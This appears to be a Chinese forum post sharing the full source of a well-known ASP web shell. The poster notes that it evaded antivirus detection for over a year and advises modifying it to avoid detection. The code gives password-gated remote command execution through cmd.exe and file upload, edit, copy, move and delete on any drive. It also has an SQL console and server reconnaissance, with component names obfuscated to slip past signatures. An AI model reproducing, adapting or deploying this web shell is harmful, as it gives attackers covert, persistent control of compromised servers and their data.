桂林老兵经典代码,但要注意做修改,否则会报毒的 这个代码是过了1年多以后才能被报毒的
[html] <% Server.ScriptTimeout=50000 Response.Buffer = True On Error Resume Next ApplicationName = "userfrom-then" UserPass = "txt" ShowFileIco = False IcoPath = "" URL = Request.ServerVariables("URL") ServerIP = Request.ServerVariables("LOCAL_ADDR") Action = Request("Action") RootPath = Server.MapPath(".") WWWRoot = Server.MapPath("/") FolderPath = Request("FolderPath") FName = Request("FName") BackUrl = "<meta http-equiv='refresh' content='2;URL=?Action=ShowFile'>"
If Session("GXGL")<>UserPass Then If Request.Form("LPass")<>"" Then If Request.Form("LPass")=UserPass Then Session("GXGL")=UserPass Response.Redirect URL Else response.write"!" End If Else If Request("action")<>"login" then Response.Redirect"/" SI="<center style='font-size:12px'><br><br><br><br>" SI=SI&"<form action='"&URL&"' method='post'>" SI=SI&"<input name='LPass' type='password' size='15'>" SI=SI&" <input type='submit' value='.'></form></center>" Response.Write SI End If Response.End End If
sub ShowErr() If Err Then Response.Write"<br><a href='javascript:history.back()'><br> " & Err.Description & "</a><br>" Err.Clear:Response.Flush End If end sub
Dim ObT(13,2) ObT(0,0) = "Sc"&DEfd&"rip"&DEfd&"ting"&DEfd&".F"&DEfd&"ileS"&DEfd&"yste"&DEfd&"mObj"&DEfd&"ect" ObT(0,2) = "文件操作组件" ObT(1,0) = "w"&DEfd&"sc"&DEfd&"ri"&DEfd&"pt.s"&DEfd&"he"&DEfd&"ll" ObT(1,2) = "命令行执行组件" ObT(2,0) = "ADOX.Catalog" ObT(2,2) = "ACCESS建库组件" ObT(3,0) = "JRO.JetEngine" ObT(3,2) = "ACCESS压缩组件" ObT(4,0) = "Scrip"&DEfd&"ting"&DEfd&".D"&DEfd&"icti"&DEfd&"onary" ObT(4,2) = "数据流上传辅助组件" ObT(5,0) = "Adodb.connection" ObT(5,2) = "数据库连接组件" ObT(6,0) = "Ado"&DEfd&"d"&DEfd&"b"&DEfd&".S"&DEfd&"tre"&DEfd&"am" ObT(6,2) = "数据流上传组件" ObT(7,0) = "SoftArtisans.FileUp" ObT(7,2) = "SA-FileUp 文件上传组件" ObT(8,0) = "LyfUpload.UploadFile" ObT(8,2) = "刘云峰文件上传组件" ObT(9,0) = "Persits.Upload.1" ObT(9,2) = "ASPUpload 文件上传组件" ObT(10,0) = "JMail.SmtpMail" ObT(10,2) = "JMail 邮件收发组件" ObT(11,0) = "CDONTS.NewMail" ObT(11,2) = "虚拟SMTP发信组件" ObT(12,0) = "SmtpMail.SmtpMail.1" ObT(12,2) = "SmtpMail发信组件" ObT(13,0) = "Microsoft.XMLHTTP" ObT(13,2) = "数据传输组件"
For i=0 To 13 Set T=Server.CreateObject(ObT(i,0)) If -2147221005 <> Err Then IsObj=True Else IsObj=false Err.Clear End If Set T=Nothing ObT(i,1)=IsObj Next
Function RePath(S) RePath=Replace(S,"\","\\") End Function
Function RRePath(S) RRePath=Replace(S,"\\","\") End Function
If FolderPath<>"" then Session("FolderPath")=RRePath(FolderPath) End If
If Session("FolderPath")="" Then FolderPath=RootPath Session("FolderPath")=FolderPath End if
Function IsIco(ia,ib,ta) If ShowFileIco=true Then IsIco = " <img src='"&IcoPath&ia&"'> " If ib<>"" Then IsIco = "<img src='"&IcoPath&ib&"'> " End If Else IsIco = " <font face='wingdings' color='#006600' size='3'>"&ta&"</font> " End If End Function
Function MainForm() SI="<form name=""hideform"" method=""post"" action="""&URL&""" target=""FileFrame"">" SI=SI&"<input type=""hidden"" name=""Action"">" SI=SI&"<input type=""hidden"" name=""FName"">" SI=SI&"</form>" SI=SI&"<table width='100%' height='100%' border='0' cellpadding='0' cellspacing='0' bgcolor='menu'>" SI=SI&"<tr><td height='30' colspan='2'>" SI=SI&"<table width='100%' height='25' border='0' cellpadding='0' cellspacing='0'>" SI=SI&"<form name='addrform' method='post' action='"&URL&"' target='_parent'>" SI=SI&"<tr><td width='60' align='center'>地址栏:</td><td>" SI=SI&"<input name='FolderPath' style='width:100%' value='"&Session("FolderPath")&"'>" SI=SI&"</td><td width='60' align='center'><input name='Submit' type='submit' value='转到'>" SI=SI&"</td></tr></form></table></td></tr><tr><td width='160'>" SI=SI&"<iframe name='Left' src='?Action=MainMenu' width='100%' height='100%' frameborder='2' scrolling='yes'></iframe></td>" SI=SI&"<td>" SI=SI&"<iframe name='FileFrame' src='?Action=ShowFile' width='100%' height='100%' frameborder='1' scrolling='yes'></iframe>" SI=SI&"</td></tr></table>" Response.Write SI End Function
Function MainMenu() SI="<table width='100%' border='0' cellspacing='0' cellpadding='0'>" SI=SI&"<tr><td height='5'></td></tr>" SI=SI&"<tr><td> " SI=SI&IsIco("minus.gif","computer.gif","o")&"FSO文件操作模块" SI=SI&"</td></tr>" If Not ObT(0,1) Then SI=SI&"<tr><td height='20'></td></tr>" Else Set ABC=New LBF:SI=SI&ABC.ShowDriver():Set ABC=Nothing SI=SI&"<tr><td> " SI=SI& IsIco("minus.gif","folder.gif","0") SI=SI&"<a href='javascript:ShowFolder(""C:\\progra~1"")'>C:\Progra~1</a>" SI=SI&"</td></tr>" SI=SI&"<tr><td> " SI=SI& IsIco("minus.gif","folder.gif","0") SI=SI&"<a href='javascript:ShowFolder(""C:\\Docume~1"")'>C:\Docume~1</a>" SI=SI&"</td></tr>" SI=SI&"<tr><td> " SI=SI& IsIco("minus.gif","folder.gif","0") SI=SI&"<a href='javascript:ShowFolder("""&RePath(WWWRoot)&""")'>留言根目录</a>" SI=SI&"</td></tr>" SI=SI&"<tr><td> " SI=SI& IsIco("minus.gif","folder.gif","0") SI=SI&"<a href='javascript:ShowFolder("""&RePath(RootPath)&""")'>本目录</a>" SI=SI&"</td></tr>" SI=SI&"<tr><td> " SI=SI& IsIco("minus.gif","newfolder.gif","1") SI=SI&"<a href='javascript:FullForm("""&RePath(Session("FolderPath")&"\NewFolder")&""",""NewFolder"")'>新建目录</a>" SI=SI&"</td></tr>" SI=SI&"<tr><td> " SI=SI&IsIco("minus.gif","newfile.gif","2") SI=SI&"<a href='?Action=EditFile' target='FileFrame'>新建文本</a>" SI=SI&"</td></tr>" End If Response.Write SI:SI="" SI=SI&"<tr><td> " SI=SI&IsIco("minus.gif","main.gif","8") SI=SI&"<a href='?Action=UpFile' target='FileFrame'>文件上传模块</a>" SI=SI&"</td></tr>" SI=SI&"<tr><td> " SI=SI&IsIco("plus.gif","main.gif","o") SI=SI&"数据库操作模块" SI=SI&"</td></tr>" SI=SI&"<tr><td> " SI=SI&IsIco("minus.gif","newfile.gif","4") SI=SI&"<a href='javascript:FullForm("""&RePath(Session("FolderPath")&"\New.mdb")&""",""CreateMdb"")'>建立MDB文件</a>" SI=SI&"</td></tr>" SI=SI&"<tr><td> " SI=SI&IsIco("minus.gif","mdb.gif","4") SI=SI&"<a href='?Action=DbManager' target='FileFrame'>数据库操作</a>" SI=SI&"</td></tr>" SI=SI&"<tr><td> " SI=SI&IsIco("minus.gif","zip.gif","4") SI=SI&"<a href='javascript:FullForm("""&RePath(Session("FolderPath")&"\data.mdb")&""",""CompactMdb"")'>压缩MDB文件</a>" SI=SI&"</td></tr>" SI=SI&"<tr><td> " SI=SI&IsIco("minus.gif","cmd.gif","o") SI=SI&"<a href='?Action=CmdShell' target='FileFrame'>命令行模块</a>" SI=SI&"</td></tr>" SI=SI&"<tr><td> " SI=SI&IsIco("minus.gif","main.gif","f") SI=SI&"<a href='?Action=Logout' target='_top'>退出登录</a>" SI=SI&"</td></tr>" SI=SI&"<tr><td> " SI=SI&IsIco("minus.gif","main.gif","f") SI=SI&"<a href='?Action=ServerInfo' target='FileFrame'>服务器信息</a>" SI=SI&"</td></tr>" SI=SI&"<tr><td> " SI=SI&IsIco("minus.gif","htm.gif","f") SI=SI&"</td></tr></table>" Response.Write SI : SI="" End Function
Function ServerInfo() SI="<br><table width='500' border='1' cellspacing='0' cellpadding='0' align='center'>" SI=SI&"<tr><td height='30' colspan='3' align='center' bgcolor='menu'>服务器组件信息</td></tr>" SI=SI&"<tr align='center'><td height='25' width='200'>服务器CPU数量</td> <td> </td><td>"&Request.ServerVariables("NUMBER_OF_PROCESSORS")&" </td></tr>" SI=SI&"<tr align='center'><td height='25' width='200'>服务器操作系统</td><td> </td><td>"&Request.ServerVariables("OS")&" </td></tr>" SI=SI&"<tr align='center'><td height='25' width='200'>WEB服务器版本</td><td> </td><td>"&Request.ServerVariables("SERVER_SOFTWARE")&" </td></tr>" For i=0 To 13 SI=SI&"<tr align='center'><td height='25' width='200'>"&ObT(i,0)&"</td><td>"&ObT(i,1)&"</td><td>"&ObT(i,2)&"</td></tr>" Next Response.Write SI End Function
Function DownFile(Path) Response.Clear Set OSM = CreateObject(ObT(6,0)) OSM.Open OSM.Type = 1 OSM.LoadFromFile Path Response.AddHeader "Content-Disposition", "attachment; filename=" & Path Response.Charset = "UTF-8" Response.ContentType = "application/octet-stream" Response.BinaryWrite OSM.Read Response.Flush OSM.Close Set OSM = Nothing End Function
Function HTMLEncode(S) if not isnull(S) then S = replace(S, ">", ">") S = replace(S, "<", "<") S = replace(S, CHR(39), "'") S = replace(S, CHR(34), """) S = replace(S, CHR(20), " ") HTMLEncode = S end if End Function
Function UpFile() If Request("Action2")="Post" Then Set U=new UPC : Set F=U.UA("LocalFile") UName=U.form("ToPath") If UName="" or F.FileSize=0 then SI="<br>请选择!" Else F.SaveAs UName If Err.number=0 Then SI="<center><br><br><br>文件"&UName&"留言成功!</center>" End if End If Set F=nothing:Set U=nothing SI=SI&BackUrl Response.Write SI ShowErr() Response.End End If SI="<br><br><br><table border='0' cellpadding='0' cellspacing='0' align='center'>" SI=SI&"<form name='UpForm' method='post' action='"&URL&"?Action=UpFile&Action2=Post' enctype='multipart/form-data'>" SI=SI&"<tr><td>" SI=SI&"上传路径:<input name='ToPath' value='"&RRePath(Session("FolderPath")&"\newup.asp")&"' size='40'> " SI=SI&"<input name='LocalFile' type='file' size='25'>" SI=SI&"<input type='submit' name='Submit' value='上传'>" SI=SI&"</td></tr></form></table>" Response.Write SI End Function
Function CmdShell() If Request("SP")<>"" Then Session("ShellPath") = Request("SP") ShellPath=Session("ShellPath") if ShellPath="" Then ShellPath = "cmd.exe" If Request("cmd")<>"" Then DefCmd = Request("cmd") SI="<form method='post'><input name='cmd' Style='width:95%' class='cmd' value='"&DefCmd&"'><input type='submit' value='执行'>" SI=SI&"<textarea Style='width:100%;height:500;' class='cmd'>" If Request.Form("cmd")<>"" Then Set CM=CreateObject(ObT(1,0)) Set DD=CM.exec(ShellPath&" /c "&DefCmd) aaa=DD.stdout.readall SI=SI&aaa End If SI=SI&chr(13)&"Rar命令行压缩:c:\progra~1\winrar\rar.exe a d:\web\test\web1.rar d:\web\test\web1</textarea>" SI=SI&"SHELL路径:<input name='SP' value='"&ShellPath&"' Style='width:91%'></form>" Response.Write SI End Function
Function CreateMdb(Path) SI="<br><br>" Set C = CreateObject(ObT(2,0)) C.Create("Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Path) Set C = Nothing If Err.number=0 Then SI = SI & Path & "建立成功!" End If SI=SI&BackUrl Response.Write SI End function
Function CompactMdb(Path) If Not ObT(0,1) Then Set C=CreateObject(ObT(3,0)) C.CompactDatabase "Provider=Microsoft.Jet.OLEDB.4.0;Data Source="&Path&",Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" &Path Set C=Nothing Else Set FSO=CreateObject(ObT(0,1)) If FSO.FileExists(Path) Then Set C=CreateObject(ObT(3,0)) C.CompactDatabase "Provider=Microsoft.Jet.OLEDB.4.0;Data Source="&Path&",Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" &Path&"_bak" Set C=Nothing FSO.DeleteFile Path FSO.MoveFile Path&"_bak",Path Else SI="<center><br><br><br>数据库"&Path&"没有发现!</center>" Err.number=1 End If Set FSO=Nothing End If If Err.number=0 Then SI="<center><br><br><br>数据库"&Path&"压缩成功!</center>" End If SI=SI&BackUrl Response.Write SI End Function
Function DbManager() SqlStr=Trim(Request.Form("SqlStr")) DbStr=Request.Form("DbStr")
SI=SI&"<table width='100%' border='0' cellspacing='0' cellpadding='0'>" SI=SI&"<form name='DbForm' method='post' action=''>" SI=SI&"<tr><td width='100' height='27'> 数据库连接串:</td>" SI=SI&"<td><input name='DbStr' style='width:100%' value="""&DbStr&"""></td>" SI=SI&"<td width='60' align='center'><select name='StrBtn' onchange='return FullDbStr(options[selectedIndex].value)'><option value=-1>连接串示例</option><option value=0>Access连接</option>" SI=SI&"<option value=1>MsSql连接</option><option value=2>MySql连接</option><option value=3>DSN连接</option>" SI=SI&"<option value=-1>--SQL语法--</option><option value=4>显示数据</option><option value=5>添加数据</option>" SI=SI&"<option value=6>删除数据</option><option value=7>修改数据</option><option value=8>建数据表</option>" SI=SI&"<option value=9>删数据表</option><option value=10>添加字段</option><option value=11>删除字段</option>" SI=SI&"<option value=12>完全显示</option></select></td></tr>" SI=SI&"<input name='Action' type='hidden' value='DbManager'><input name='Page' type='hidden' value='1'>" SI=SI&"<tr><td height='30'> SQL操作命令:</td>" SI=SI&"<td><input name='SqlStr' style='width:100%' value="""&SqlStr&"""></td>" SI=SI&"<td align='center'><input type='submit' name='Submit' value='执行' onclick='return DbCheck()'></td>" SI=SI&"</tr></form></table><span id='abc'></span>" Response.Write SI:SI=""
If Len(DbStr)>40 Then Set Conn=CreateObject(ObT(5,0)) Conn.Open DbStr Set Rs=Conn.OpenSchema(20) SI=SI&"<table><tr height='25' Bgcolor='#CCCCCC'><td>表<br>名</td>" Rs.MoveFirst Do While Not Rs.Eof If Rs("TABLE_TYPE")="TABLE" then TName=Rs("TABLE_NAME") SI=SI&"<td align=center><a href='javascript:FullSqlStr(""Drop TABLE ["&TName&"]"",1)'>[ del ]</a><br>" SI=SI&"<a href='javascript:FullSqlStr(""Select * FROM ["&TName&"]"",1)'>"&TName&"</a></td>" End If Rs.MoveNext Loop Set Rs=Nothing SI=SI&"</tr></table>" Response.Write SI:SI="" If Len(SqlStr)>10 Then
If LCase(Left(SqlStr,6))="select" then SI=SI&"执行语句:"&SqlStr Set Rs=CreateObject("Adodb.Recordset") Rs.open SqlStr,Conn,1,1 FN=Rs.Fields.Count RC=Rs.RecordCount Rs.PageSize=20 Count=Rs.PageSize PN=Rs.PageCount Page=request("Page") If Page<>"" Then Page=Clng(Page) If Page="" or Page=0 Then Page=1 If Page>PN Then Page=PN If Page>1 Then Rs.absolutepage=Page SI=SI&"<table><tr height=25 bgcolor=#cccccc><td></td>" For n=0 to FN-1 Set Fld=Rs.Fields.Item(n) SI=SI&"<td align='center'>"&Fld.Name&"</td>" Set Fld=nothing Next SI=SI&"</tr>"
Do While Not(Rs.Eof or Rs.Bof) And Count>0 Count=Count-1 Bgcolor="#EFEFEF" SI=SI&"<tr><td bgcolor=#cccccc><font face='wingdings'>x</font></td>" For i=0 To FN-1 If Bgcolor="#EFEFEF" Then:Bgcolor="#F5F5F5":Else:Bgcolor="#EFEFEF":End if If RC=1 Then ColInfo=HTMLEncode(Rs(i)) Else ColInfo=HTMLEncode(Left(Rs(i),50)) End If SI=SI&"<td bgcolor="&Bgcolor&">"&ColInfo&"</td>" Next SI=SI&"</tr>" Rs.MoveNext Loop Response.Write SI:SI="" SqlStr=HtmlEnCode(SqlStr)
SI=SI&"<tr><td colspan="&FN+1&" align=center>记录数:"&RC&" 页码:"&Page&"/"&PN If PN>1 Then SI=SI&" <a href='javascript:FullSqlStr("""&SqlStr&""",1)'>首页</a> <a href='javascript:FullSqlStr("""&SqlStr&""","&Page-1&")'>上一页</a> " If Page>8 Then:Sp=Page-8:Else:Sp=1:End if For i=Sp To Sp+8 If i>PN Then Exit For If i=Page Then SI=SI&i&" " Else SI=SI&"<a href='javascript:FullSqlStr("""&SqlStr&""","&i&")'>"&i&"</a> " End If Next SI=SI&" <a href='javascript:FullSqlStr("""&SqlStr&""","&Page+1&")'>下一页</a> <a href='javascript:FullSqlStr("""&SqlStr&""","&PN&")'>尾页</a>" End If SI=SI&"<hr color='#EFEFEF'></td></tr></table>" Rs.Close:Set Rs=Nothing Response.Write SI:SI="" Else Conn.Execute(SqlStr) SI=SI&"SQL语句:"&SqlStr End If
Response.Write SI:SI="" End If
Conn.Close Set Conn=Nothing End If End Function %>
<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=gb2312"> <title>838</title> <style type="text/css"> <!-- body,td {font-size: 12px;} input,select{font-size: 12px;background-color:#FFFFFF;} .tr {background-color:#EFEFEF;} .cmd {background-color:#000000;color:#FFFFFF} body {margin-left: 0px;margin-top: 0px;margin-right: 0px;margin-bottom: 0px; <%If Action="" then response.write "overflow-x:hidden;overflow-y:hidden;"%>} a {color: black;text-decoration: none;} .am {color: #003366;font-size: 11px;} --> </style>
<script language="javascript"> <!-- function yesok(){ if (confirm("确认要执行此操作吗?")) return true; else return false; }
function ShowFolder(Folder){ top.addrform.FolderPath.value = Folder; top.addrform.submit(); }
function FullForm(FName,FAction){ top.hideform.FName.value = FName; if(FAction=="CopyFile"){ DName = prompt("请输入复制到目标文件全名称",FName); top.hideform.FName.value += "||||"+DName; }else if(FAction=="MoveFile"){ DName = prompt("请输入移动到目标文件全名称",FName); top.hideform.FName.value += "||||"+DName; }else if(FAction=="CopyFolder"){ DName = prompt("请输入移动到目标文件夹全名称",FName); top.hideform.FName.value += "||||"+DName; }else if(FAction=="MoveFolder"){ DName = prompt("请输入移动到目标文件夹全名称",FName); top.hideform.FName.value += "||||"+DName; }else if(FAction=="NewFolder"){ DName = prompt("请输入要新建的文件夹全名称",FName); top.hideform.FName.value = DName; }else if(FAction=="CreateMdb"){ DName = prompt("请输入要新建的Mdb文件全名称,注意不能同名!",FName); top.hideform.FName.value = DName; }else if(FAction=="CompactMdb"){ DName = prompt("请输入要压缩的Mdb文件全名称,注意文件是否存在!",FName); top.hideform.FName.value = DName; }else{ DName = "Other"; } if(DName!=null){ top.hideform.Action.value = FAction; top.hideform.submit(); }else{ top.hideform.FName.value = ""; } } function DbCheck(){ if(DbForm.DbStr.value == ""){ alert("请先连接数据库"); FullDbStr(0); return false; } return true; } function FullDbStr(i){ if(i<0){ return false; } Str = new Array(12); Str[0] = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=<%=RePath(Session("FolderPath"))%>\\db.mdb;Jet OLEDB:Database Password=***"; Str[1] = "Driver={Sql Server};Server=<%=ServerIP%>,1433;Database=DbName;Uid=sa;Pwd=****"; Str[2] = "Driver={MySql};Server=<%=ServerIP%>;Port=3306;Database=DbName;Uid=root;Pwd=****"; Str[3] = "Dsn=DsnName"; Str[4] = "Select * FROM [TableName] Where ID<100"; Str[5] = "Insert INTO [TableName](USER,PASS) VALUES(\'gxgl_com\',\'mypass\')"; Str[6] = "Delete FROM [TableName] Where ID=100"; Str[7] = "Update [TableName] SET USER=\'gxgl_com\' Where ID=100"; Str[8] = "Create TABLE [TableName](ID INT IDENTITY (1,1) NOT NULL,USER VARCHAR(50))"; Str[9] = "Drop TABLE [TableName]"; Str[10]= "Alter TABLE [TableName] ADD COLUMN PASS VARCHAR(32)"; Str[11]= "Alter TABLE [TableName] Drop COLUMN PASS"; Str[12]= "当只显示一条数据时即可显示字段的全部字节,可用条件控制查询实现.\n超过一条数据只显示字段的前五十个字节。"; if(i<=3){ DbForm.DbStr.value = Str[i]; DbForm.SqlStr.value = ""; abc.innerHTML="<center>请确认己连接数据库再输入SQL操作命令语句。</center>"; }else if(i==12){ alert(Str[i]); }else{ DbForm.SqlStr.value = Str[i]; } return true; } function FullSqlStr(str,pg){ if(DbForm.DbStr.value.length<5){ alert("请检查数据库连接串是否正确!") return false; } if(str.length<10){ alert("请检查SQL语句是否正确!") return false; } DbForm.SqlStr.value = str ; DbForm.Page.value = pg; abc.innerHTML=""; DbForm.submit(); return true; } --> </script> </head> <body> <% Dim T1 Class UPC Dim D1,D2
Public Function Form(F) F=lcase(F) If D1.exists(F) then:Form=D1(F):else:Form="":end if End Function
Public Function UA(F) F=lcase(F) If D2.exists(F) then:set UA=D2(F):else:set UA=new FIF:end if End Function
Private Sub Class_Initialize Dim TDa,TSt,vbCrlf,TIn,DIEnd,T2,TLen,TFL,SFV,FStart,FEnd,DStart,DEnd,UpName set D1=CreateObject(ObT(4,0)) if Request.TotalBytes<1 then Exit Sub set T1 = CreateObject(ObT(6,0)) T1.Type = 1 : T1.Mode =3 : T1.Open T1.Write Request.BinaryRead(Request.TotalBytes) T1.Position=0 : TDa =T1.Read : DStart = 1 DEnd = LenB(TDa) set D2=CreateObject(ObT(4,0)) vbCrlf = chrB(13) & chrB(10) set T2 = CreateObject(ObT(6,0)) TSt = MidB(TDa,1, InStrB(DStart,TDa,vbCrlf)-1) TLen = LenB (TSt) DStart=DStart+TLen+1 while (DStart + 10) < DEnd DIEnd = InStrB(DStart,TDa,vbCrlf & vbCrlf)+3 T2.Type = 1 : T2.Mode =3 : T2.Open T1.Position = DStart T1.CopyTo T2,DIEnd-DStart T2.Position = 0 : T2.Type = 2 : T2.Charset ="gb2312" TIn = T2.ReadText : T2.Close DStart = InStrB(DIEnd,TDa,TSt) FStart = InStr(22,TIn,"name=""",1)+6 FEnd = InStr(FStart,TIn,"""",1) UpName = lcase(Mid (TIn,FStart,FEnd-FStart)) if InStr (45,TIn,"filename=""",1) > 0 then set TFL=new FIF FStart = InStr(FEnd,TIn,"filename=""",1)+10 FEnd = InStr(FStart,TIn,"""",1) FStart = InStr(FEnd,TIn,"Content-Type: ",1)+14 FEnd = InStr(FStart,TIn,vbCr) TFL.FileStart =DIEnd TFL.FileSize = DStart -DIEnd -3 if not D2.Exists(UpName) then D2.add UpName,TFL end if else T2.Type =1 : T2.Mode =3 : T2.Open T1.Position = DIEnd : T1.CopyTo T2,DStart-DIEnd-3 T2.Position = 0 : T2.Type = 2 T2.Charset ="gb2312" SFV = T2.ReadText T2.Close if D1.Exists(UpName) then D1(UpName)=D1(UpName)&", "&SFV else D1.Add UpName,SFV end if end if DStart=DStart+TLen+1 wend TDa="" set T2 =nothing End Sub Private Sub Class_Terminate if Request.TotalBytes>0 then D1.RemoveAll:D2.RemoveAll set D1=nothing:set D2=nothing T1.Close:set T1 =nothing end if End Sub End Class
Class FIF dim FileSize,FileStart Private Sub Class_Initialize FileSize = 0 FileStart= 0 End Sub Public function SaveAs(F) dim T3 SaveAs=true if trim(F)="" or FileStart=0 then exit function set T3=CreateObject(ObT(6,0)) T3.Mode=3 : T3.Type=1 : T3.Open T1.position=FileStart T1.copyto T3,FileSize T3.SaveToFile F,2 T3.Close set T3=nothing SaveAs=false end function End Class
Class LBF Dim CF Private Sub Class_Initialize SET CF=CreateObject(ObT(0,0)) End Sub
Private Sub Class_Terminate Set CF=Nothing End Sub
Function ShowDriver() For Each D in CF.Drives SI=SI&"<tr><td> " SI=SI&IsIco("plus.gif","driver.gif","v") SI=SI&"<a href='javascript:ShowFolder("""&D.DriveLetter&":\\"")'>本地 ("&D.DriveLetter&":)</a>" SI=SI&"</td></tr>" Next ShowDriver=SI End Function Function FileIco(FName) If ShowFileIco=true Then TypeList = ".asp.asa.bat.bmp.com.doc.db.dll.exe.fla.gif.htm.html.inc.ini.jpg.js.log.mdb.mid.mp3.png.php.rm.rar.swf.txt.wav.xls.xml.zip" FileType = lcase(Mid(FName, InstrRev(FName,".")+1)) If Instr(TypeList,"."&FileType)>0 then Ico = FileType&".gif" Else Ico = "default.gif" End If FileIco = "<img src='"&IcoPath&Ico&"' border='0'> " Else FileIco="<font face='wingdings' color='#006600' size='3'>2</font> " End If End Function
Function ShowFile(Path) Set FOLD=CF.GetFolder(Path) i=0 SI="<table width='100%' border='0' cellspacing='0' cellpadding='0' bgcolor='#EFEFEF'><tr>" For Each F in FOLD.subfolders SI=SI&"<td>" SI=SI&IsIco("","folder.gif","0") SI=SI&" <a href='javascript:ShowFolder("""&RePath(Path&"\"&F.Name)&""")'>"&F.Name&"</a>" SI=SI&" | <a href='javascript:FullForm("""&Replace(Path&"\"&F.Name,"\","\\")&""",""DelFolder"")' onclick='return yesok()' class='am' title='删除'>D</a>" SI=SI&" <a href='javascript:FullForm("""&RePath(Path&"\"&F.Name)&""",""CopyFolder"")' onclick='return yesok()' class='am' title='复制'>C</a>" SI=SI&" <a href='javascript:FullForm("""&RePath(Path&"\"&F.Name)&""",""MoveFolder"")' onclick='return yesok()' class='am' title='移动'>M</a>" i=i+1 If i mod 3 = 0 then SI=SI&"</tr><tr>" Next SI=SI&"</tr><tr><td height=5></td></tr></table>" Response.Write SI : SI="" For Each L in Fold.files SI="<table width='100%' border='0' cellspacing='1' cellpadding='0'>" SI=SI&"<tr onMouseOver=""this.className='tr'"" onMouseOut=""this.className=''"">" SI=SI&"<td height='20'>"&FileIco(L.Name) SI=SI&"<a href='javascript:FullForm("""&RePath(Path&"\"&L.Name)&""",""DownFile"");' title='下载'>"&L.Name&"</a></td>" SI=SI&"<td width='140'>"&L.Type&"</td>" SI=SI&"<td width='50'>"&clng(L.size/1024)&"K</td>" SI=SI&"<td width='120'>"&L.DateLastModified&"</td>" SI=SI&"<td width='40' align=""center""><a href='javascript:FullForm("""&RePath(Path&"\"&L.Name)&""",""EditFile"")' class='am' title='编辑'>edit</a></td>" SI=SI&"<td width='40' align=""center""><a href='javascript:FullForm("""&RePath(Path&"\"&L.Name)&""",""DelFile"")' onclick='return yesok()' class='am' title='删除'>del</a></td>" SI=SI&"<td width='40' align=""center""><a href='javascript:FullForm("""&RePath(Path&"\"&L.Name)&""",""CopyFile"")' class='am' title='复制'>copy</a></td>" SI=SI&"<td width='40' align=""center""><a href='javascript:FullForm("""&RePath(Path&"\"&L.Name)&""",""MoveFile"")' class='am' title='移动'>move</a></td>" SI=SI&"</tr></table>" Response.Write SI : SI="" Next Set FOLD=Nothing End function Function DelFile(Path) If CF.FileExists(Path) Then CF.DeleteFile Path SI="<center><br><br><br>文件 "&Path&" 删除成功!</center>" SI=SI&BackUrl Response.Write SI End If End Function Function EditFile(Path) If Request("Action2")="Post" Then Set T=CF.CreateTextFile(Path) T.WriteLine Request.form("content") T.close Set T=nothing SI="<center><br><br><br>文件保存成功!</center>" SI=SI&BackUrl Response.Write SI Response.End End If If Path<>"" Then Set T=CF.opentextfile(Path, 1, False) Txt=HTMLEncode(T.readall) T.close Set T=Nothing Else Path=Session("FolderPath")&"\newfile.asp":Txt="新建文件" End If SI="<table width='100%' height='100%'><tr><td valign='top' align='center'>" SI=SI&"<Form action='"&URL&"?Action2=Post' method='post' name='EditForm'>" SI=SI&"<input name='Action' value='EditFile' Type='hidden'>" SI=SI&"<input name='FName' value='"&Path&"' style='width:100%'><br>" SI=SI&"<textarea name='Content' style='width:100%;height:450'>"&Txt&"</textarea><br>" SI=SI&"<hr><input name='goback' type='button' value='返回' onclick='history.back();'> <input name='reset' type='reset' value='重置'> <input name='submit' type='submit' value='保存'></form>" SI=SI&"</td></tr></table></body></html>" Response.Write SI End Function Function CopyFile(Path) Path = Split(Path,"||||") If CF.FileExists(Path(0)) and Path(1)<>"" Then CF.CopyFile Path(0),Path(1) SI="<center><br><br><br>文件"&Path(0)&"复制成功!</center>" SI=SI&BackUrl Response.Write SI End If End Function
Function MoveFile(Path) Path = Split(Path,"||||") If CF.FileExists(Path(0)) and Path(1)<>"" Then CF.MoveFile Path(0),Path(1) SI="<center><br><br><br>文件"&Path(0)&"移动成功!</center>" SI=SI&BackUrl Response.Write SI End If End Function
Function DelFolder(Path) If CF.FolderExists(Path) Then CF.DeleteFolder Path SI="<center><br><br><br>目录"&Path&"删除成功!</center>" SI=SI&BackUrl Response.Write SI End If End Function
Function CopyFolder(Path) Path = Split(Path,"||||") If CF.FolderExists(Path(0)) and Path(1)<>"" Then CF.CopyFolder Path(0),Path(1) SI="<center><br><br><br>目录"&Path(0)&"复制成功!</center>" SI=SI&BackUrl Response.Write SI End If End Function
Function MoveFolder(Path) Path = Split(Path,"||||") If CF.FolderExists(Path(0)) and Path(1)<>"" Then CF.MoveFolder Path(0),Path(1) SI="<center><br><br><br>目录"&Path(0)&"移动成功!</center>" SI=SI&BackUrl Response.Write SI End If End Function
Function NewFolder(Path) If Not CF.FolderExists(Path) and Path<>"" Then CF.CreateFolder Path SI="<center><br><br><br>目录"&Path&"新建成功!</center>" SI=SI&BackUrl Response.Write SI End If End Function End Class
Select Case Action Case "MainMenu":MainMenu() Case "ShowFile" Set ABC=New LBF:ABC.ShowFile(Session("FolderPath")):Set ABC=Nothing Case "DownFile":DownFile FName:ShowErr() Case "DelFile" Set ABC=New LBF:ABC.DelFile(FName):Set ABC=Nothing Case "EditFile" Set ABC=New LBF:ABC.EditFile(FName):Set ABC=Nothing Case "CopyFile" Set ABC=New LBF:ABC.CopyFile(FName):Set ABC=Nothing Case "MoveFile" Set ABC=New LBF:ABC.MoveFile(FName):Set ABC=Nothing Case "DelFolder" Set ABC=New LBF:ABC.DelFolder(FName):Set ABC=Nothing Case "CopyFolder" Set ABC=New LBF:ABC.CopyFolder(FName):Set ABC=Nothing Case "MoveFolder" Set ABC=New LBF:ABC.MoveFolder(FName):Set ABC=Nothing Case "NewFolder" Set ABC=New LBF:ABC.NewFolder(FName):Set ABC=Nothing Case "UpFile":UpFile() Case "Logout":Session.Contents.Remove("GXGL"):Response.Redirect URL Case "CmdShell":CmdShell() Case "CreateMdb":CreateMdb FName Case "CompactMdb":CompactMdb FName Case "DbManager":DbManager() Case "ServerInfo":ServerInfo() Case Else MainForm() End Select ShowErr() %> </body> </html> |
|